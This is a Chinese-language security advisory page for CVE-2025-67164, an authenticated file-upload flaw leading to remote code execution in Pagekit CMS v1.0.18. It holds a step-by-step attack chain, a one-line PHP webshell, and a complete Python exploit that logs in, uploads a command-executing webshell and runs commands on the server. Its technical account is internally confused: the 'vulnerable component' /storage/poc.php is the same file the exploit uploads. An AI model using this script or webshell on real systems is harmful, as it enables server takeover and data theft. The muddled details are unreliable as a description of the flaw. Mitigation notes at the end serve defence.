IPBUF安全漏洞报告
English
CVE-2025-67164 CVSS 9.9 严重

CVE-2025-67164 Pagekit CMS v1.0.18 任意文件上传导致RCE

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-67164
漏洞类型
任意文件上传/远程代码执行
CVSS评分
9.9 严重
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pagekit CMS

相关标签

任意文件上传远程代码执行RCEPagekit CMS认证绕过CVE-2025-67164webshellWeb安全

漏洞概述

CVE-2025-67164是Pagekit CMS v1.0.18版本中的一个高危安全漏洞,属于认证后任意文件上传漏洞。该漏洞存在于/storage/poc.php组件中,允许已认证攻击者通过上传精心构造的PHP文件来执行任意代码。Pagekit是一款流行的开源内容管理系统(CMS),被广泛应用于各类网站构建。由于该漏洞的CVSS评分高达9.9(满分10分),属于严重级别漏洞,对系统安全构成极大威胁。攻击者可利用此漏洞完全控制受影响的服务器,窃取敏感数据、安装后门或进行横向移动攻击。该漏洞无需用户交互即可利用,且网络可达性使其能够在互联网上被广泛扫描和利用。鉴于Pagekit的广泛使用,建议所有使用该版本的用户立即采取修复措施。

技术细节

该漏洞的根本原因在于Pagekit CMS的文件上传功能缺乏充分的文件类型验证和内容检查。在v1.0.18版本中,/storage/poc.php组件允许已认证用户上传任意文件,包括恶意PHP脚本。攻击者只需获取有效的用户凭证(低权限即可),即可通过构造包含恶意代码的PHP文件(如webshell)并上传至服务器。上传成功后,攻击者可通过HTTP请求访问该PHP文件,从而在服务器上执行任意系统命令。由于CVSS向量显示攻击复杂度低(AC:L)且无需特殊权限(PR:L),使得该漏洞极易被利用。攻击者可以利用webshell执行命令、读取敏感配置文件、连接数据库或进一步渗透内网。漏洞利用的关键在于绕过客户端的文件扩展名检查和服务器端的MIME类型验证,直接上传包含PHP代码的文件到可执行目录。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用Pagekit CMS v1.0.18版本,通过端口扫描和横幅识别确认服务信息
STEP 2
Authentication
攻击者获取有效用户凭证(低权限账户即可),通过登录接口完成身份认证并获取会话Cookie
STEP 3
Malicious File Preparation
攻击者准备包含webshell的PHP文件,如<?php system($_GET['cmd']); ?>,用于远程命令执行
STEP 4
File Upload Exploitation
攻击者向/storage/poc.php端点发送POST请求,上传恶意PHP文件,绕过文件类型检查
STEP 5
Remote Code Execution
上传成功后,攻击者通过HTTP请求访问上传的PHP文件并传递命令参数,实现服务器远程代码执行
STEP 6
Post-Exploitation
攻击者利用RCE权限读取敏感配置、植入后门、窃取数据或进行内网横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-67164 PoC - Pagekit CMS Arbitrary File Upload # Target: Pagekit CMS v1.0.18 # Component: /storage/poc.php def exploit(target_url, username, password): """ Exploit for CVE-2025-67164 Authenticated arbitrary file upload leading to RCE """ session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{target_url}/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) # Step 2: Upload malicious PHP file upload_url = f"{target_url}/storage/poc.php" # PHP webshell payload php_payload = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" files = { 'file': ('poc.php', php_payload, 'application/x-php') } upload_response = session.post(upload_url, files=files, timeout=10) # Step 3: Execute command via uploaded webshell if upload_response.status_code == 200: shell_url = f"{target_url}/storage/poc.php" cmd_data = {'cmd': 'whoami'} exec_response = session.get(shell_url, params=cmd_data, timeout=10) if exec_response.status_code == 200: print(f"[+] Exploit successful! RCE achieved.") print(f"[+] Shell URL: {shell_url}") print(f"[+] Command output: {exec_response.text}") return True print("[-] Exploit failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit(target, user, pwd)

影响范围

Pagekit CMS v1.0.18

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用/storage/poc.php文件的访问;2)配置Web服务器(如Nginx/Apache)禁止PHP文件在上传目录执行;3)限制文件上传功能仅对管理员开放;4)使用ModSecurity等WAF规则阻止可疑的上传请求;5)加强对用户上传文件的实时监控和告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表